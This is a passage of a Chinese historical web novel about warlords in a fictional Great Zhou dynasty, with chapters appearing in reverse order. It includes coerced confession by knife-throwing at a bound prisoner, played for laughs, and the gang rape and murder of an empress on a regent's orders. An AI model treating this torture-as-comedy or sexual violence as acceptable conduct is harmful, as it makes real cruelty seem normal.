眼下大家都想和平发育,快快乐乐的清兵刷野不香吗? 结果你整这么一出…… 作为名义上的大周臣子,皇帝活着,大家都能逢场作戏,圣上被你挟持,我们缓缓就来营救。 可现在皇帝死了,不指责你有问题、把这件事情的性质定下来,有问题的就是我们了。 如果让孙芝再扶持一个皇帝,我们屁都不放,就等于变相承认了他的正统性,那哥几个真成反贼了! 虽然大家本来就是土皇帝,但面子工程还是要做的。 现在被你这么一搞,我们就算不想揍你,也不得不揍了,不然法理上说不过去呐! 烦死了!! 文训第一个发布檄文,斥责孙芝欺君罔上、悍然弑君,是为国之佞贼!并且派手下大将李继贤率领五万大军,进驻太行山下的真定府鹿泉镇。他自己亲率六万大军在邺城旧地演兵讲武,随时都有可能攻打晋地的东大门——壶关。 韩珏也立刻跟团,派族弟、冯翎太守韩珑率兵四万越过黄河,攻占了河内府的闻喜县,大有一举占领河内府全境的趋势。 就连申屠明光这种忙得不可开交的人,也抽出八千骑兵,交由代郡太守吴尚统领,南下叩关。在晋阳府的北大门忻州城下磨刀霍霍。 晋阳军面临着四面楚歌的境地。 孙芝忙疯了!急忙派心腹之人南下,连夜赶往蜀、唐两国,言辞卑微的恳求他们趁着韩珏和文训兵马在北,偷袭他们的后方。又派二儿子带着金银财宝亲自前往夏国都城兴庆,许诺诸多好处,表示愿意助夏皇夺取关中。 人算不如天算,计划赶不上变化。刚刚平静了还不到半年的中原百姓们,又被迫卷入战火,孙芝的祖宗十八代都快要被骂活了。 晋阳府、河东府、河内府的百姓更是爆发了积攒已久的怒火,起义、投诚、暗中联络其他势力的现象层出不穷。 —— 开封府衙园中的花已经开了,柳树上的嫩芽已经挂上一层绿色,远看一片翠碧,近前枝条枯干。 侧衙大牢前的土场上,凌晨用黑布蒙着眼睛,手里握着一把飞刀,正在小幅晃悠着找角度。 “不要啊!!我错了!我招!我全都招!!” 在他前方十米不到的地方竖着一块圆盘,盘上大字型绑着一名尖嘴猴腮的男子,此刻正在崩溃大哭,裤裆里还被液体浸湿,形成一大片与衣服有别的深色。 坐在一旁凉棚下的侯明哈哈大笑:“现在知道招了?晚了!!” 凌晨扭过头去,差点就忍不住动耳朵了,克制住后,仔细辨别出声音的方位,猛的一甩胳膊,将飞刀用力挥出! 锋利的飞刀划破空气,“梆”的一声,死死钉在了木板上,隐隐还能听到“嗡嗡”的颤音传来。 他连忙摘下蒙在眼睛上的黑布定睛看去:飞刀刚好钉在犯人的裆下,还擦到点大腿内侧的裤布,犯人哭的像个孩子。 “啧……” 凌晨有些不满意的摇摇头,抬起头安慰着犯人说道: “你不要害怕,一定要据理力争,没干过的事咱不承认昂~圣人云:威武不能屈,你再坚持坚持,让我再试试。只要把这一关扛过去了,说不定还有美人计呢~” “不!!我招!!我什么都招!!别再扔了!!求你了!!” 犯人嚎啕大哭,扭动着身子拼命挣扎,让凌晨颇为不满。 最终还是侯明举着酒杯走上前来,打着圆场劝解道:“侯爷,先来喝杯酒歇会,这样的宵小鼠辈牢里多的是,一会再给你换个硬气点的。” 凌晨只好幽怨的瞟一眼那名犯人,从侯明手中接过酒杯,二人一起回到了凉棚里。 周围的捕快差役们都是一阵唏嘘,谁能想到以凶恶狠辣而闻名汴京城的侯巡院,有一天也会劝别人善良。 “侯爷,你还是跟以前一样办法多。这小子抽了四十几鞭子一声不吭。你一来就招了,哈哈哈~” “哥哥过奖了,雕虫小技而已,他要是硬咬着牙不招,我也没办法。” 侯明尬笑两声,太尉对刑狱要求极其严格,对严刑逼供和屈打成招非常反感,所以在没有定罪之前,大家都不敢用重刑。这也就间接导致了这些罪犯死不认账,怎么打都不招。 谁能像你一样上来就这么玩,还不用担心被太尉苛责。那些罪犯在面对几年牢狱和随时见太奶之间,基本都会作出正确的选择。 “其实哥哥也不用为这种小事犯愁,我有个主意,保管能不费吹灰之力,就让犯人招认罪行。” “哦?” 侯明非常感兴趣的站起来给凌晨续上酒,虚心请教道:“还请侯爷教教我。” 凌晨笑嘻嘻的在桌子上比划着说道:“你去跟大人说一声,在监牢里多修十几个小房子。房间不用太大,在边角透个一掌宽的茅坑就行了。 把四面封死,只留一扇门,门上开小窗,日常供饭汤。然后不去理他,三日之内,没有不招的。” 侯明吸着气有些狐疑的问道:“这能行吗?” 凌晨哈哈笑着说的:“哥哥尽管放心去试,只要不是犯了杀头的事,寻常案犯一天、甚至可能半天都坚持不下去。不信你亲自去体验一番就知道了。” 虽然有些不明所以,但亲自体验就算了,侯明还是了解面前这个逼的,一肚子整人的坏水。 “侯爷是如何得知这一妙法的?” 凌晨看着老上司那渴望知识的睿智眼神,随口诌道:“从我曾祖父开始,一直到我这四代人,专治各种不服。” “呃……原来如此,哈哈哈~~” 就在二人喝着小酒吹着牛逼,准备歇一会就去有请下一位受害…追梦人出场时,一名捕快急匆匆的从场门外跑了进来,神色慌张的扑到凉棚里,上气不接下气的对侯明说道: “不好了巡院!兄弟们在永宁坊巡街时,意外撞到了‘飞天螳螂’王庆!” 听到这个名字,侯明“腾”的一声就站起来了! “可是济州府犯下命案的那个江洋大盗?” “正……正是他,可是,兄弟们不小心打草惊蛇,被他提早发觉了。此獠情急之下,破窗而去,竟然当街刺伤了一辆路过的马车车夫,还劫持了车内之人。 听……听随行的小丫鬟说,那人是礼部尚书大人的嫡小姐,府尹大人已经亲自过去了,叫……叫属下速来喊你!” “侯爷,我先失陪了!” 侯明立刻从一旁拿起腰刀,向着凌晨告罪一声后,就匆匆提着官服外衣冲向了场门。 留下凌晨一脸懵逼。 飞天螳螂?谁给你的胆子,敢起这浑号?能进化明白吗你~ 既然叫我遇上了,那你的虚空猎杀之旅也就到头了。 你好,我叫雷恩加尔。 如果你觉得拗口的话,也可以叫我的另一个名字——狮子狗。 永宁坊是京城商肆汇聚之地,从五湖四海赶来的客商都会在此交易言商,人流量多,鱼龙混杂。这位什么礼部尚书的女儿也是倒霉,逛个街都能中头奖,有这个运气,不去望云镇赛马真是可惜了。 临街的一家首饰店前,围满了持刀捕快和紧急调来的京城卫戍军,盾牌、长枪、刀剑,甚至连弓弩都用上了。他们将这家店里三层外三层的团团包围,按这个强度,里面那位螳螂最好真的会飞。 外圈的百姓更是拥挤的围在周围看热闹,吃瓜嘛~谁不爱吃?人、车、牛、货挤在一起,直接瘫痪了两条街的交通,更有甚者直接爬到街对面的房顶上好奇的眺望。 冯延站在店门口,面沉如水。他的身前是一排手持盾牌短刀的军士,旁边站着一位国字脸的紫袍官员,从他紧锁的眉头就能看出内心有多焦急。 “展德兄,请务必要救出小女,无论那贼人提什么要求,本官一概答应,只求勿伤小女性命!” 冯延连忙拱手对着身边的礼部尚书说道:“有方兄稍安勿躁,且放宽心。本官自当小心,保令媛无虞。” 二人言罢,齐齐看向店铺门口,心中的不安一点也没有得到缓解。 店里的人早已被吓散了,摆满了金银首饰的柜台后站着一名年轻的女子。乌丝若瀑、花容月貌,模样甚是清纯;身形纤瘦,慧气如兰,因为害怕,眼中噙着泪水,更是添了一份我见犹怜的凄美感觉。 这么漂亮柔弱的女子,此刻脖子上却横着一把锋利尖刀,只能看到一只布着可怖伤疤的手,仿佛随时都要辣手摧花! “王庆!放了这女子,本官以官声担保,会放你出城。出了城后,你可要跑快点,到时候本官定会拿你归案!!” 冯延义正辞严的朝着躲在尚书千金身后的飞天螳螂呼喊道。 “嘿嘿嘿……”一道阴冷张狂的笑声从柜台后面传出: “小人虽然只是一介草寇,却也听说过府尹大人的赫赫威名,怕是刚放了这小妞,立刻就会被万箭穿心射成刺猬吧?” 冯延皱眉呵斥道:“狂妄!今日有这么多百姓在场,本官岂会食言而肥?” “行了~我又不是三岁小孩,别浪费唾沫星子跟我说这些没有用的。” 冯延强忍着胸中怒气问道:“那你要怎样?” “冯大人,劳您的驾,给小人准备一辆马车,再雇个车夫将小人和这位小姐送出城去。到时候,小人自会放了她。 对了,可千万别派人跟着,不然小人要是因为害怕手一哆嗦……我这烂命一条倒没什么,就是可怜了这位小姐,少不得要陪我走一遭黄泉路!” 那女子听害怕至极、浑身发抖,梨花带雨的低声抽泣着,却不敢动弹分毫。 “痴人说梦!不放了她,你哪也去不了!” “那就耗着呗!一会爷爷累了困了,你们就乖乖的把门板给我竖上,好酒好菜送进来。爷爷临死前也和这位小姐快活快活。敢有不从,你看爷爷会不会割了她的喉咙!” “你……” 一向杀伐果断的冯延此刻也犯了难,魏尚书的女儿绝对不能有事!一根头发丝也不能掉!不仅仅是因为她的身份尊贵,更关系着京城治安的名声,这里面的牵连和影响太大了。 也不能让贼子将她带离,这个王庆是在赵世中之乱中遗留下来的余孽,本就杀人如麻。后来又做了盗匪,在济州府犯下累累罪行,恶贯满盈。 王臣鹤在青州实行铁血清洗,此人待不下去便销声匿迹,没成想却胆大包天,竟然进入了汴京城。 要是让他把魏尚书的女儿带出城去,能留下一具全尸都是奢望。 时间一分一秒的过去了,从城外军营借调过来的军中神射手在周围高处不断的寻找角度。奈何这个王庆十分狡猾,死死躲在魏家小姐身后,只露出一只手,可能是透过柜台缝制观察店门和外面街道。 这些百步穿杨的弓手绝对有信心一箭射穿他握刀的手,可谁也不知道他的另一只手里有没有兵器,不敢放手一试。 礼部尚书魏序急的不行,忍不住对冯延说道:“展德兄,实在不行……就先应了他的要求吧!小女不能……” 心烦意乱的冯延也有些恼火了,语气颇重的说道:“有方兄!你真的以为此贼出城后会履行约定吗?现在我们还能控制住他,一旦放出城去,令媛才是真的生死难测!” 魏序的养气功夫也破功了:“那就这么耗着?你倒是拿出个主意来呀!” “弓手正在找机会,本官也正在……” “可是……” 眼看着两位大佬就要因为这事当街吵起来了,店铺里突然传来一阵响动,一阵桌椅碰撞的声音传入了众人的耳中。 下一刻,小脸煞白的魏家小姐慌张的走出店铺,手足无措的呆立在台阶上,连哭泣和逃命都忘记了。 …… 就在全场鸦雀无声,一片寂静的时候,一道身影背对着众人,费力的用双手拖住一只脚,将手腕插着飞刀、脖子还在冒血的王庆像死狗一样倒拖出了店门。 “过来,搭把手。” 离门口最近的那名军士握着盾牌和短刀,即使被呼喊,依旧贴在墙边发愣。 凌晨只好再次提高了声音:“过来给我搭把手啊!” “啊……哦…哦哦哦!” 第83章 惊变 与中原的政通人和,百废俱兴不同,三晋大地一片阴霾。 晋阳军在邺城之战中拼死搏杀,精锐折损大半,最后却鹬蚌相争、两败俱伤,被南边的文训摘了桃子,军队里的士气极为低迷。 不仅如此,两次东出壶关夺取到的地盘也尽数丧失。几年征伐下来,钱、粮、人都投入进去了,结果最后却回到了原点,不仅民怨沸腾,境内粮价飞涨、物资短缺,四周还全是强敌。 虽然局面很糟糕,但孙芝还是比韩珏舒服,至少他不用担心争储问题。 还有一个人比孙芝更郁闷,此刻,他也住在晋阳城中。 晋阳行宫内,太监们手握拂尘,低下头观察着周帝平日里的一举一动,宫女们彼此传递眼神,将后宫的细碎琐事源源不断的传给外头的侍卫。 行宫内的一切,都被无数双眼睛和口舌记录下来,汇集到晋王府中。 案前油灯明灭,大周皇帝周广德坐在椅子上,年轻的面孔半亮半阴,看起来十分憔悴。 有时候,他也会恨自己已经死去的父皇,若非他执意削藩,等到自己继位后再徐徐图之,或许就不会是今天这个样子了。 福是一天没享,锅是一口不落。 眼下整个行宫里到处都是孙芝的人,自己今天拉的屎是干是稀他都了如指掌,再这么下去,脑袋搬家只是时间问题。 白天担惊受怕,孙芝提着剑、踩着鞋子上朝,进来连看都不看自己,就往那一坐,挡在自己前面接受众臣跪拜,替自己抬手示意众臣平身。 夜里一闭上眼,就能看见刘协、曹髦、元善见、杨侑、李柷这些前辈们朝自己招手。周广德时常被吓得惊醒过来,一身冷汗,枕头湿漉漉的。 “唉……” 既不想做晴天娃娃,又毫无反抗能力的周广德每天都处于精神紧绷的状态,都快要神经衰弱了。 他终于意识到权力来自于武器,可惜明白的太晚了。 “陛下。” 就在这位年轻的帝王忧心忡忡、黯然伤神之际,皇后王氏握着一盏烛台从门外走了进来,将手中的铜台放在桌子上后,她走到周广德身边,温柔的将手放在对方胳膊上。 “夜深了,臣妾服侍陛下就寝吧~” 周广德望着妻子,微微点头,起身与她一起向偏殿走去。 身后两名皇后的宫女紧紧跟随进来,开始为他们铺床搭帐,准备洗漱用品。 “你们下去吧,朕就这么睡,不用收拾了。”周广德烦闷的说道。 他说完后,两名宫女低头对视一眼,其中一人恭恭敬敬的跪下来说道:“陛下,晋王吩咐奴婢们定要伺候好陛下和娘娘的起居,奴婢们不敢不尽心竭力,侍奉好陛下。” 周广德眉头紧锁着望向说话的宫女,脖子里青筋暴起,握住桌子上的茶杯就要发作,却被王皇后一把按住了。 “那你们就收拾吧。” “是~” 吩咐完两个宫女后,王皇后看向周广德,盯着他的眼睛隐晦的摇了摇头。 周广德满眼悲愤的扭过头去,握拳捶桌。 直到两名宫女收拾完床铺、退到殿外后,夫妻二人才解下衣服,双双入榻。 “陛下,你还记不记得十几年前的邺水舟岸,臣妾与您初次相遇时的场景?” 周广德搂着妻子,握住她的手说道:“如何能够忘却,那日你身着男装,持剑蒙纱,差点被闫家四郎当成歹人,还是朕拦下的。” 王皇后柔声细语道:“当年陛下锦衣白马,挽剑挑花,是何等的意气风发……” 周广德难过的流出了眼泪:“可叹当时年少,怎料日后会成他人掌中玩物!宗庙社稷,毁于战火!祖宗基业,尽失其鹿!还连累着你与我一同受苦……” 王皇后伸出手指抵住周广德的嘴唇,悄声说道: “陛下不必抱怨,更不可黯自神伤,臣妾虽不懂政事,却也听过‘卧薪尝胆’的旧事。眼下这天下,依然是大周的天下,许许多多的忠勇之士,亦怀报国之心,未必就没有越甲吞吴的可能。” 周广德抹着眼泪低声问道:“可……可朕如今一无钱财,二无兵马,连睡个觉都不能自己决定……” 王皇后伏在周广德的耳畔,悄声说道:“臣妾还有些金银首饰,陛下可拿去赏赐给贴身侍从,君心换臣意,托人出宫秘密联系朝中忠臣,诏他们袭杀奸贼,掌控晋阳。 当年太祖皇帝就是凭借晋阳、河北起家,才创立下不世基业。陛下雄心壮志,才能卓越,如何不能重走一遭,复太祖之业?” 周广德听了妻子的鼓励后,内心感动,紧紧握住她的手,贴着她的额头说道:“幸好朕还有你,能说说心里话……” 王皇后搂住周广德,温柔的说道:“臣妾与陛下同为国之帝后,自当一体同心。” “若朕真的能再造山河,定不负卿!” 庭院深深,夜露如珠,上弦月高挂在窗边。 第二天一醒来,周广德就开始了自己的肖申克救赎,他将王皇后的嵌珠金丝宝凤钗、白桂点翠步遥和松石梅花钿悄悄塞给一个平日里最是贴心顺意的太监,拉着他的手声泪俱下,还不惜屈尊,跪下来恳求他将消息带出宫外,传达给和他一样来晋阳旅游的朝廷旧臣们。 那名太监也被感动的无以复加,将宝贝揣进怀里后,立刻就转身离开了。 周广德十分焦急的在宫中等待着消息,若是能和臣属们取得联系,一起寻个机会突袭孙芝,将他斩杀!自己再亲自去往军营,以天子之威降服群龙无首的晋阳军,大事可济!周室可兴! “哒哒哒~” 就在他关上殿门,在屋子里紧张的来回踱步时,外面突然传来了一阵急促的脚步声。 “砰!!” 本就有些腐朽的殿门被人一脚踹开!其中一扇甚至整扇都掉落在了地砖上,木屑断板撒了一地。 一堆持刀披甲的军士凶神恶煞的冲了进来,理都没理周广德,一言不发的径直冲进内殿,将王皇后从里面扯了出来,狠狠的摔倒在周广德面前! 心情本来就很不好的孙芝阴沉着脸走了进来,身后跟着早上周广德以重礼相待过的那名太监。 “臣近日公务繁忙,倒是疏忽了陛下,身边竟然有这等妖妇蛊惑君心,竟然想挑拨我们君臣和睦,该杀!” 周广德连忙蹲下身子护住发丝凌乱的王皇后,对孙芝哀求道:“这不关她的事!都是朕一时昏了头,晋王宽恕则个!!” 孙芝皮笑肉不笑的说道:“陛下胡说些什么呢?自古以来,只有君恕臣,岂有臣恕君?陛下且放宽心,微臣纵死也万不敢加害陛下!但这妖妇断然是不能留的,来呀!” “在!”周围的军士们纷纷抱拳。 “将这祸殃朝纲、淫乱宫庭的妖妇拖过去!” “是!” 随着孙芝一声令下,几个壮硕的军士便俯下身子,十分粗鲁的将王皇后扯住胳膊,毫无尊严的拖回了偏殿里,当着周广德的面撕扯下她的衣服,将她的四肢捆绑在了案桌上。 “啊……不要!救我!陛下……” 周广德双目欲裂,一时间也忘记了害怕,站起身来就要去救妻子,却被几个军士强行夹住胳膊,合力按倒在地上,就这样看着远处的王皇后被那些军士凌辱。 孙芝冷冷的说道:“愿陛下收起浮躁之心,安心习修,待微臣平定了天下,自会还政于君的,哼!” 说罢,他就离开了。 两个时辰后,那些军士终于完成了羞辱周广德的目的,一刀抹了王皇后的脖子。他们也不拾掇,就这么丢下,心满意足的离开了宫殿。 孙芝就是要用这样强烈的感官冲击,彻底击碎周广德的幻想,让他老老实实的做好自己的吉祥物。 真当自己还是皇帝呢? 被放开后的周广德颤抖着嘴唇,浑身哆嗦着爬到案桌前,望着受尽凌辱、死不瞑目的王皇后,泪如雨下。 他张着嘴巴嚎啕大哭,涕泗横流!伸出手想抚摸自己的妻子,却又不敢相信眼前的一切,转而用力捶打着自己的大腿,如同发疯了一般在王皇后的尸体旁边接连蹦跳。 得志猫儿雄过虎,落水凤凰不如鸡。 一朝国母,竟被权臣如此辱杀,纵观古今历代,都是难觅先例、骇人听闻的大事。 “啊——!!” 连续的高压环境、积攒的郁结心绪、突然的丧妻之痛、不堪忍受的羞辱,终于击碎了周广德最后一丝理智,他疯了。 刚刚回到王府准备和幕僚们议事的孙芝在听了心腹的急报后,表情一怔。 草,玩大了…… 他连忙再次乘着车架来到行宫里,一进院门就看到周广德披头散发,浑身污秽的坐在房顶上丢瓦片,看到这一幕的孙芝人都麻了! 这也太脆弱了吧! 他表情十分不耐的对身边亲卫吩咐道:“叫人把他拉下来,关起来绑住。行宫中的宫女太监,一个不留。” “是!” 亲卫抱拳答完后,朝着身后挥了挥手,几个亲卫就齐齐走上前去,拨开站在房檐下的太监宫女们,搬来梯子架在瓦檐边。 亲卫立在梯旁,朝着周广德小心的伸手说道:“陛下,别闹了。来,随末将下去吧~” 屁股坐在瓦上的周广德哈哈大笑,捡起手边的瓦片就砸向亲卫,他连忙低头,瓦片撞到兜鍪和盔甲后碎成渣滓掉落在了院子里。 亲卫没有办法,只能手脚并用的爬上房顶,快步走过去揪住周广德胳膊,就要把他往梯子那边拖。 “放开!放开!我要玩,我不要下去!” 孙芝快要烦死了,朝着亲卫怒喝道:“跟一个疯子磨蹭什么?还不快把他拉下来?!” 娘的! 这下怎么办?周广德是自己最后的护身符,把他攥在手里,无论是文训还是韩珏,都没有理由攻击自己,攻击晋阳那就是造反! 可现在皇帝疯了…… 形势一下就不利起来了,谁能想到他会因为一个女人就疯了啊?女人多的是,本王再给你安排十个不就得了?这是做什么? 孙芝烦闷不已的思索着该如何向天下人交代时,被亲卫拉下来的周广德嘿嘿傻笑着立在原地。 突然,他又蹲下来捉地面上的虫子,还趴在地上打滚,嘴里胡言乱语,在场的人都是一阵无语。 “陛下,陛下快起……” 就在所有人都放松了警惕的时候,本来疯癫的周广德突然伸手,一把抽出了拉自己的那名亲卫腰间的剑,猛的起身朝着孙芝刺去!! 太突然了,在场之人谁都没有预料到这一幕,反应过来的孙芝连忙转身躲闪,却还是被长剑刺进了肩锁!! 亲卫们被这突如其来的情况吓坏了,两个人立刻上前扯住孙芝,将他向后拉去。另一个亲卫几乎是依靠本能的反应抽刀就砍向周广德,一刀就将他劈倒在了地上。 “狗贼!!还我英儿命来!!” 倒在地上的周广德满嘴是血,牙齿都被鲜血染红了,却依旧拼命撑着身体摇摇晃晃的站了起来,朝着向他围去的亲卫胡乱挥舞着手中的剑,结果一个重心不稳,又摔倒在了地上。 亲卫们一拥而上,将剑踢远后,纷纷上前按住他的四肢,从后背到腰勒的龙袍已然被锋刃割裂,鲜血浸透。 孙芝咬牙捂着肩膀,血从指缝流出,却顾不得自己,朝着亲卫怒喊道: “把他拉下去,让医官无论如何也要救活!否则都去给他陪葬!!!” 周广德疯狂大笑着,用尽全力挣扎,却被亲卫们死死按压在地面上,身下的血迹已经留成了一滩血泊。 等孙芝包扎好伤口时,心腹急匆匆的前来报告:周广德失血过多,回天乏术,已经死了。 一拳砸在桌子上后,感受到肩膀上传来火辣辣的疼痛,孙芝倒抽了一口凉气,怒极攻心,只觉得双目有些晕眩。 “传……传令,就说妖后王氏藏刀袭君,皇帝避之不及,为妖后所害。宫中侍卫在救驾时失手杀了妖后……” “是。” 等手下出了门后,孙芝扶着桌子,捏着自己的偏额,头痛欲裂。 这下麻烦大了!! 第82章 平淡的生活 洞房昨夜停红烛,待晓堂前拜舅姑。 妆罢低声问夫婿,画眉深浅入时无。 昨夜春宵帐暖,睁开眼睛后的凌晨有点腰酸。 转头看向一旁枕侧,青柠闭着眼睛,睫毛清晰分明,发丝散乱的贴在鬓边和脸颊上,呼吸均匀,正睡的香甜。 将胳膊伸进肩膀和鸳鸯绣枕之间的空隙处后,凌晨轻轻将她抱在怀里,拉起被子包裹住半露出的香肩。 轻拍着心上人,他忍不住靠近,吻在了青柠额头眉心,睡梦中的青柠轻轻皱了一下,迷迷糊糊中,摸索着贴在凌晨胸口,肩膀一起一伏。 一想到对方昨夜疼到落泪的模样,凌晨心中就泛起一阵柔软。从今天起,他们夫妻俩就都是大人了。 生理层面上。 舒舒服服的打了个哈欠后,他望向灰蒙蒙的窗外,闭上了眼睛。那种醒来之后发现好像在放假,不用上学,不用上班,还能再睡个回笼觉的救赎感,真的太美妙了~ 今日无事,睡到日上三竿。 早春的清晨笼罩着淡淡薄雾,为望云镇的砖瓦青墙添上一丝朦胧,隐隐从远处传来乡邻家的雄鸡啼鸣—— “咯咯~~咯~” 太阳渐渐升起,鸟儿在枝头“啾啾”叫唤,偶尔还夹杂着一道“布谷”声。天气尚寒,村子里的老樵夫已经从林间砍柴归来,得知了村头酒肆的醪酒刚刚见底后,正恼间,却又听人高喊另一家醅瓮新开。 他连忙卖了两捆柴,把酒钱揣进怀里,肩上扛着光秃秃的扁担,咳嗽两声,快步来到酒旗飘扬的门前。 从腰间解下有些污垢的葫芦,伸手递给店家,只一声“装满”。 炊烟袅袅,燕雀划破长空。 快近正午时,青柠的翻动声搅醒了凌晨,当他再次睁开眼,就看到青柠正准备蹑手蹑脚的从他身上跨过,下床去收拾。 凌晨伸手将青柠拉倒,趴在自己身上,感受着传来的每一寸柔软,忍不住又是一阵蜜意温存。 “该起了,万一有人来,看到不得笑话。” 意犹未尽的凌晨终于明白“春宵苦短日高起”是个什么意思了,也只能恋恋不舍的放开娇妻柔荑。 等到他们收拾好后,院子里响起了敲门声,凌晨通体舒畅、心情极佳的走到门前,取下了门闩。 解二扬着个脖子,跟着憨憨一样嘿嘿傻笑着,胡子梳的贼顺溜。 “公子,你今天有点不一样。” “嗯?哪里不一样?” “说不出来,就……感觉亲切了很多。” 凌晨停下脚步,扭头挑眉问道:“我以前不亲切吗?” “那倒不是……” 说话间,二人已经步入了正堂里,青柠脸上带着淡淡的微笑,端着茶过来,给凌晨倒了一盏,又给解二倒上。 解二连忙双手接过去,点着头道谢。 “老二,我突然想起来,当初我修这间院子时,你小子还带着人来阻挠我呢~那时候的二爷多威风呐!” 凌晨心情颇好,消遣起解二来,青柠听得嗤笑一声,夫唱妇随道:“我也想起来了,那天二哥还要挽起袖子动手打我呢~” 解二憋了半天,也是一阵回味,重重的叹了口气:“那都过去多久的事了,你们还提出来臊我!” “哈哈哈哈~” 寒暄过后,解二说起了正事:“公子,有户从淮南迁进京的人家,说要找你聊聊鼓楼西边广场的事。他们家想买下来,盖酒楼客栈。” “不卖,他拼好饭吃多了?也不用脑子想想,那么好的地段我会出售?” 解二用大拇指挠着眉毛,有些为难的说道:“要是寻常人家,自然不理他。可看他那架势……我瞧着不像一般人。” 无所谓的打了个哈欠后,凌晨毫不在意的说道:“没事,不鸟他。” 眼下汴京正是地价飞涨的时候,鼓楼在城池最中心,东边动物园,西边大广场,都是公益性建筑,并不为盈利。 这人但凡长点脑子就该知道凌晨不缺钱,还找上门来想买,属于是脑子瓦特了。 凌晨也懒得去打听对方是谁,放眼整个汴京城,除了老文,谁特么敢动我的凌霸天? “行,那我去回了他。” “嗯~” 与此同时的千里之外,凌晨的逆子韩登同样也在准备定亲。 当初韩珏把他送去邺城后,已经做好了最坏的打算,因此着重培养二儿子韩临,为他娶了关中大族的女儿,将本地势力牢牢的捆绑在一起。 但谁也没想到韩登真能回来,现在的关中地区正在面临一场极为尴尬的选择。 韩珏已经过了不惑之年,应该定下继承人来稳定人心。庶出的韩临久居关中,在父亲的默许下,军中、衙署、地方上到处都是他的人,让他来做下一任关中节度使,是非常平顺的。 可韩登在中原为质这么多年,政治声望远超其弟韩临,如果直接忽视了他,恐怕会引起非议和骚乱。而且他和韩意是一母同胞的亲姐弟,母族也不会坐视韩登失势,这里面的情况很复杂。 众所周知,凡是关系到长幼继承问题,总是会带点刀光剑影的。往远了看,有袁本初和刘景升打好了样,往近了看,先唐的玄武门继承法也提供了良好示范。 韩珏思考了很久,决定趁着自己还能支楞几年,慢慢将韩临手中的权力收回来,转交给韩登。 嫡长子继承本就顺理成章,而且大女儿的分量也不轻,尤其是在文训一统中原之后,她的意见更是不可忽视。 所以,他专门为韩登谋了门亲事。 云中节度使申屠明光的掌上明珠、年方二八的幼女——申屠忘忧。 二人门当户对,两家结亲后还能联合起来夹击夏国,再合适不过了。 至于孙芝会不会误会…… 如果你非要多心的话,那我也没办法。 —— 河北四府已经恢复了正常的秩序,粮种、农具、耕牛都从富庶的开封府调拨了过去,其中就有很多出自临颍县养牛场的优良品种。 文训下达了命令,免去河北四府两年的赋税,只要今年的春耕顺利,就能彻底消化新吞并的地区。两年后,仓廪充足的河北平原,将会为太尉大人带来源源不断的粮草兵源。 自从来到大周以后,凌晨跟个陀螺一样被抽着转,很久没有享受当下这种和后世极为相似的太平年月了。 大周的百姓们也有股恍若隔世的感觉,生离死别、背井离乡已经成了他们成长过程中挥之不去的记忆。 直到今天大家才知道,原来日子也可以过的安安稳稳,亲人不用相隔两地,家人不用天各一方。黄昏饭熟时,一家人都围坐在自家小院里,吃着粗茶淡饭,聊着家长里短。 要是这个时候唐皇再次提兵犯境,很难想象他会遇到什么样的人民战争和汪洋大海。 汴京已经修筑好了皇帝行宫,并且配置了成套领导班子,从各地大族涌入的德高望重、才学兼备、背景雄厚之人填补了各个职位空缺,彻底替代被孙芝迁去晋阳的朝廷,开始行使职能。 当然了,皇宫里有很多内饰风格是按照文训的个人喜好装修的,周帝应该会喜欢。 吕齐印刷出来的成批书籍被下发给了各地官学,由于产量的提高,甚至可以传发到县级乃至镇级,在“万般皆下品,唯有读书高”的普遍共识下,读书识字的人越来越多,文盲率正在下降。 另外,文训给王臣鹤拨去钱粮银款,令他在即墨港打造楼船冲舟,派江淮军精锐将官前去,积极操练水军战法,开始为将来下江南做准备。 一年之计在于春,太尉大人深耕细作,天下布武,只等时机一到,便教金瓯无缺。 在整个中原如火如荼的开发建设过程中。凌晨也没闲着,临颍县百姓辛苦养出来的牛、猪都被开封府衙采购了去,官府给出的价格比市面上要高一点,因为负责采购项目的主官是张承。 临颍县的养殖户们腰包鼓了起来,冯延和张承也从中领到了春季补贴,作为中间商的凌晨,更是赚的盆满钵满。 有了钱之后,又该修自己的窝了。 原先的开封城被改为里城,城北单独修筑了皇城。在这样的基础上,又沿着外围扩大了一圈,修筑了外城和城墙。 城里的普通人家都被补偿性的迁移去了外城新修的坊街,现在居住在里城的,基本都是权贵官宦人家。 里城的杨柳巷专门住在职官员,和杨柳巷只有一街之隔的下马庄,住的基本都是公爵。 朝廷按照凌晨的爵位,给他在下马庄靠近金水河的河畔划了一块地,是按照四进宅院的面积划分的。 可以等工部建造好以后直接拎包入住,也可以按照自己的意愿修建,除了高度和规格有限制之外,随你怎么造。 河边的柳树悄悄发芽,河畔游人如织,水面上还有花船画舫缓缓漂流,隔着老远都能听到丝竹管弦的悠扬之声。 站在自家宅基地上,凌晨拿着一张图纸,向工部派来修建的人员提出自己的构想和要求,这是他亲自画的宅院结构,还问了青柠的想法。 “我是粗人,这什么茶室棋室的就不用修了,把中间的院子修得宽敞一些,前面的更房、倒座房可以修紧密,垂花门往后全修成大院,我要里面能跑马。” 工部派遣来的官员望着地图上的精细画工,感叹之余,又好奇的问道:“侯爷,您真的打算把鱼舍和风水池拆了,改成东西厢院吗?” 凌晨点着头说道:“嗯,这些东西没什么用,夏天除了养蚊子之外毫无实用价值,我没有那雅兴。” “那……府内也不修戏楼吗?” “我不爱听戏。” “下官明白了,那就将四进改为三进,多出的地方都铺成院子。再栽种上一些桃李杏梨,后院也留出花园和菜园。” “嗯,不错。马厩和柴房、车房都放在前院里,每间院子都留好茅房和下人居住的地方,客房就贴在垂花门两侧。” “好。” 和专业的人交流起来就是轻松,工部的官员只看一眼图纸就大概明白了凌晨的要求。沟通好细节之后,对方大概估算了一下,修成大概需要八千两白银。 这还只是墙、院、屋、瓦、地砖的费用,就是个毛胚。 桌椅板凳和床单被褥、屏风瓷器、字画装饰、餐厨伙具、购买和聘请下人的费用通通都没有算在内。 朝廷今年发放给凌晨的工资就四千两,再掏空这些年的积蓄,也只是勉强能购置完家私。 凌侯爷深感任重道远,还得再想办法从哪薅点羊毛去。 好在大周没有物业费,也没有恶心人的公摊,多购买一些葬父赎身的死契奴婢,月俸支出就能省下来不少,日常只要提供伙食就行,再偶尔打赏两个钱,不得感激涕零的。 看着宽阔的宅基地,想象着修成后的模样,凌晨感慨万千。 上辈子父母累死累活贷款买个鸽子笼,还要天天和楼上吵架,让他们家少爷别在家里拍篮球。楼下也跟有病似的,老子穿着棉拖正常走路,又没踩着高跟鞋蹦迪,他非要在业主群嚷嚷,还买了个震楼器。 真该把他俩换成上下层,让他们魔法对轰去。 